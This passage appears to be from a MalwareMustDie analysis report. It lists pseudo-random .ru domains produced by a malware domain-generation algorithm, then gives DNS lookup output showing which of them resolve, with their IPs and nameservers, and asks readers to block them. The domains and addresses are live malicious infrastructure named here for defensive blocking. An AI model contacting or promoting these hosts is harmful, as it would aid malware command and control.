 1 | oxkjnvhjnvnegtyb.ru  |  Tue Oct 01 2013 23:14:46 GMT+0900
 2 | bloxgsfzinxmdspt.ru  |  Wed Oct 02 2013 23:14:46 GMT+0900
 3 | mxpgggggukxqteoy.ru  |  Thu Oct 03 2013 23:14:46 GMT+0900
 4 | yjsovtnpgbwqcbbd.ru  |  Fri Oct 04 2013 23:14:46 GMT+0900
 5 | lwtcxuzbdrsnpqfb.ru  |  Sat Oct 05 2013 23:14:46 GMT+0900
 6 | xiwlnutkxsqxwjge.ru  |  Sun Oct 06 2013 23:14:46 GMT+0900
 7 | kwyyhhqtwxupnhyu.ru  |  Mon Oct 07 2013 23:14:46 GMT+0900
 8 | wicjgufeimlbmcus.ru  |  Tue Oct 08 2013 23:14:46 GMT+0900
 9 | ivewawjppavmkhwx.ru  |  Wed Oct 09 2013 23:14:46 GMT+0900
10 | uihgxtcniyolbobp.ru  |  Thu Oct 10 2013 23:14:46 GMT+0900
11 | hvitmnanuzbabudp.ru  |  Fri Oct 11 2013 23:14:46 GMT+0900
12 | thldkvcgbkzcbfxw.ru  |  Sat Oct 12 2013 23:14:46 GMT+0900
13 | gunqeyhnrhskxjdr.ru  |  Sun Oct 13 2013 23:14:46 GMT+0900
14 | shqyztdrsofsjnib.ru  |  Mon Oct 14 2013 23:14:46 GMT+0900
15 | eusngyfurlziprua.ru  |  Tue Oct 15 2013 23:14:46 GMT+0900
16 | qgvvruoklhrhpqxk.ru  |  Wed Oct 16 2013 23:14:46 GMT+0900
17 | dtwjizdvcjzbxibd.ru  |  Thu Oct 17 2013 23:14:46 GMT+0900
18 | pgatedpjzstshdzi.ru  |  Fri Oct 18 2013 23:14:46 GMT+0900
19 | ctcibqfekydbrgcx.ru  |  Sat Oct 19 2013 23:14:46 GMT+0900
20 | nffqvldfiiducjnt.ru  |  Sun Oct 20 2013 23:14:46 GMT+0900
21 | atgeuubffjklsyii.ru  |  Mon Oct 21 2013 23:14:46 GMT+0900
22 | mfjnxtnwsclubgkd.ru  |  Tue Oct 22 2013 23:14:46 GMT+0900
23 | yqlvxvvkgecvvods.ru  |  Wed Oct 23 2013 23:14:46 GMT+0900
24 | leojpnzvpegbyeoi.ru  |  Thu Oct 24 2013 23:14:46 GMT+0900
25 | xqprqgthoagudyqd.ru  |  Fri Oct 25 2013 23:14:46 GMT+0900
26 | jetgmpbmeeihglhv.ru  |  Sat Oct 26 2013 23:14:46 GMT+0900
27 | vpuoiwoulyhquhff.ru  |  Sun Oct 27 2013 23:14:46 GMT+0900
28 | iexdeqiyhfwopmpx.ru  |  Mon Oct 28 2013 23:14:46 GMT+0900
29 | upylthkllwdcnryx.ru  |  Tue Oct 29 2013 23:14:46 GMT+0900
30 | hddbgopfnerrquln.ru  |  Wed Oct 30 2013 23:14:46 GMT+0900
31 | toejmeliyxkiwtcl.ru  |  Thu Oct 31 2013 23:14:46 GMT+0900
32 | ruuwvqkxejhklhjy.ru  |  Fri Nov 01 2013 23:14:46 GMT+0900
 1 | ruuwvqkxejhklhjy.ru  |  Fri Nov 01 2013 23:14:46 GMT+0900
 2 | eiylikrmqndowfpg.ru  |  Sat Nov 02 2013 23:14:46 GMT+0900
 3 | ptavjirkbdsszppw.ru  |  Sun Nov 03 2013 23:14:46 GMT+0900
 4 | chejtfoppvupcbhb.ru  |  Mon Nov 04 2013 23:14:46 GMT+0900
 5 | otfrbymbgbedozxa.ru  |  Tue Nov 05 2013 23:14:46 GMT+0900
 6 | bhigmqckbqhleqlo.ru  |  Wed Nov 06 2013 23:14:46 GMT+0900
 7 | nsjosicxuhpidhlp.ru  |  Thu Nov 07 2013 23:14:46 GMT+0900
 8 | yemwipgbsfdgxtwi.ru  |  Fri Nov 08 2013 23:14:46 GMT+0900
 9 | lsokebdprtyhsbso.ru  |  Sat Nov 09 2013 23:14:46 GMT+0900
10 | xertaijuellzduaa.ru  |  Sun Nov 10 2013 23:14:46 GMT+0900
11 | krthwjspcpcdpxec.ru  |  Mon Nov 11 2013 23:14:46 GMT+0900
12 | wewpsgubuacxxkyj.ru  |  Tue Nov 12 2013 23:14:46 GMT+0900
13 | jrxeivysebbxnnty.ru  |  Wed Nov 13 2013 23:14:46 GMT+0900
14 | udbofptfthduxtto.ru  |  Thu Nov 14 2013 23:14:46 GMT+0900
15 | hqdcbscxwipgaobv.ru  |  Fri Nov 15 2013 23:14:46 GMT+0900
16 | tdglwoshlnadoxsd.ru  |  Sat Nov 16 2013 23:14:46 GMT+0900
17 | gqhybmnnxsndsdvj.ru  |  Sun Nov 17 2013 23:14:46 GMT+0900
18 | sckhoyvbrxscgfxt.ru  |  Mon Nov 18 2013 23:14:46 GMT+0900
19 | fpmusbtknvzptyyp.ru  |  Tue Nov 19 2013 23:14:46 GMT+0900
20 | qcpebbxufztcjenw.ru  |  Wed Nov 20 2013 23:14:46 GMT+0900
21 | dprrmhvxeedvldhh.ru  |  Thu Nov 21 2013 23:14:46 GMT+0900
22 | pbubsisvkxfvlqpr.ru  |  Fri Nov 22 2013 23:14:46 GMT+0900
23 | cpvogtshwgqsvrmm.ru  |  Sat Nov 23 2013 23:14:46 GMT+0900
24 | obywijqviuwhbjhf.ru  |  Sun Nov 24 2013 23:14:46 GMT+0900
25 | bobmzdnfgnramikr.ru  |  Mon Nov 25 2013 23:14:46 GMT+0900
26 | maevlhrskhtpwduy.ru  |  Tue Nov 26 2013 23:14:46 GMT+0900
27 | ymfemzowodecdxjg.ru  |  Wed Nov 27 2013 23:14:46 GMT+0900
28 | lajrwyxwftgqftrf.ru  |  Thu Nov 28 2013 23:14:46 GMT+0900
29 | xlkaykasqozhuppr.ru  |  Fri Nov 29 2013 23:14:46 GMT+0900
30 | kzlojwjoumbmajnc.ru  |  Sat Nov 30 2013 23:14:46 GMT+0900
31 | uqgmbvszrjmnxbhp.ru  |  Sun Dec 01 2013 23:14:46 GMT+0900
32 | ndvgpxdugiihprox.ru  |  Wed Jan 01 2014 23:14:46 GMT+0900


// Grep only those ".ru" domain names, i.e. :

ndvgpxdugiihprox.ru
yowoyitslewxwwrl.ru
lcbfcpzjpyvoheuj.ru
xocnrffrwjwryily.ru
kcgbtgkouhxwzqce.ru
wnhjjplenuudhoap.ru
jbkxeiekxelpidpi.ru
unlgvgkytqsxgyeg.ru
hbpuvpfmvvkeindg.ru
      :

save it into the text file..

// and runs it wit the our script at MalwareMustDie Google Project↓
// http://code.google.com/p/malwaremustdie/downloads/detail?name=multidomainipchecker.sh&can=2&q=
// with feeding your saved txt file contains the domains burped by the script above...

// And you'll find the below domains are activated!!
// This is the proof that the PseudoRandom Generator is
// activated ! Again. Please block the all domains reported in this report!

qlbpfyrupyadvjsl.ru,54.246.111.56,
bhigmqckbqhleqlo.ru,91.233.244.102,
nsjosicxuhpidhlp.ru,91.233.244.102,


// Further PoC of activated domains:

=======================
;qlbpfyrupyadvjsl.ru.           IN      ANY
=======================

;; ANSWER SECTION:
qlbpfyrupyadvjsl.ru.    3600    IN      A       54.246.111.56
qlbpfyrupyadvjsl.ru.    3600    IN      SOA     ns1.plusregister.com. donncha.totalimpact.ie. 2012122403 7200 7200 172800 38400
qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns2.plusregister.com.
qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns4.plusregister.com.
qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns3.plusregister.com.
qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns1.plusregister.com.

qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns1.plusregister.com.
qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns2.plusregister.com.
qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns3.plusregister.com.
qlbpfyrupyadvjsl.ru.    3599    IN      NS      ns4.plusregister.com.

;; ADDITIONAL SECTION:
ns1.plusregister.com.   3600    IN      A       50.23.136.230
ns1.plusregister.com.   3600    IN      A       50.23.136.173
ns1.plusregister.com.   3600    IN      A       50.23.136.174
ns1.plusregister.com.   3600    IN      A       50.23.136.229
ns2.plusregister.com.   3599    IN      A       50.23.75.45
ns2.plusregister.com.   3599    IN      A       50.23.75.96
ns2.plusregister.com.   3599    IN      A       50.23.75.97
ns2.plusregister.com.   3599    IN      A       50.23.75.44
ns3.plusregister.com.   3600    IN      A       67.15.47.188
ns3.plusregister.com.   3600    IN      A       67.15.253.219
ns4.plusregister.com.   3600    IN      A       184.173.150.58
ns4.plusregister.com.   3600    IN      A       184.173.149.221
ns4.plusregister.com.   3600    IN      A       184.173.149.222
ns4.plusregister.com.   3600    IN      A       184.173.150.57


=======================
;bhigmqckbqhleqlo.ru.           IN      ANY
=======================

;; ANSWER SECTION:
bhigmqckbqhleqlo.ru.    3600    IN      A       91.233.244.102
bhigmqckbqhleqlo.ru.    3600    IN      SOA     dns1.webdrive.ru. admin.webdrive.ru. 1354094642 10800 3600 604800 3600
bhigmqckbqhleqlo.ru.    3600    IN      NS      dns1.webdrive.ru.
bhigmqckbqhleqlo.ru.    3600    IN      NS      dns2.webdrive.ru.

;; AUTHORITY SECTION:
bhigmqckbqhleqlo.ru.    3600    IN      NS      dns2.webdrive.ru.
bhigmqckbqhleqlo.ru.    3600    IN      NS      dns1.webdrive.ru.

;; ADDITIONAL SECTION:
dns1.webdrive.ru.       2264    IN      A       176.74.216.129
dns2.webdrive.ru.       2264    IN      A       159.253.133.210

=======================
;nsjosicxuhpidhlp.ru.           IN      ANY
=======================

;; ANSWER SECTION:
nsjosicxuhpidhlp.ru.    3600    IN      SOA     dns1.webdrive.ru. admin.webdrive.ru. 1354095124 10800 3600 604800 3600
nsjosicxuhpidhlp.ru.    3600    IN      A       91.233.244.102
nsjosicxuhpidhlp.ru.    3599    IN      NS      dns2.webdrive.ru.
nsjosicxuhpidhlp.ru.    3599    IN      NS      dns1.webdrive.ru.

;; AUTHORITY SECTION:
nsjosicxuhpidhlp.ru.    3599    IN      NS      dns2.webdrive.ru.
nsjosicxuhpidhlp.ru.    3599    IN      NS      dns1.webdrive.ru.

;; ADDITIONAL SECTION:
dns1.webdrive.ru.       3448    IN      A       176.74.216.129
dns2.webdrive.ru.       3447    IN      A       159.253.133.210

----
#MalwareMustDie! @unixfreaxjp /malware]$ date
Mon Jan  7 23:49:05 JST 2013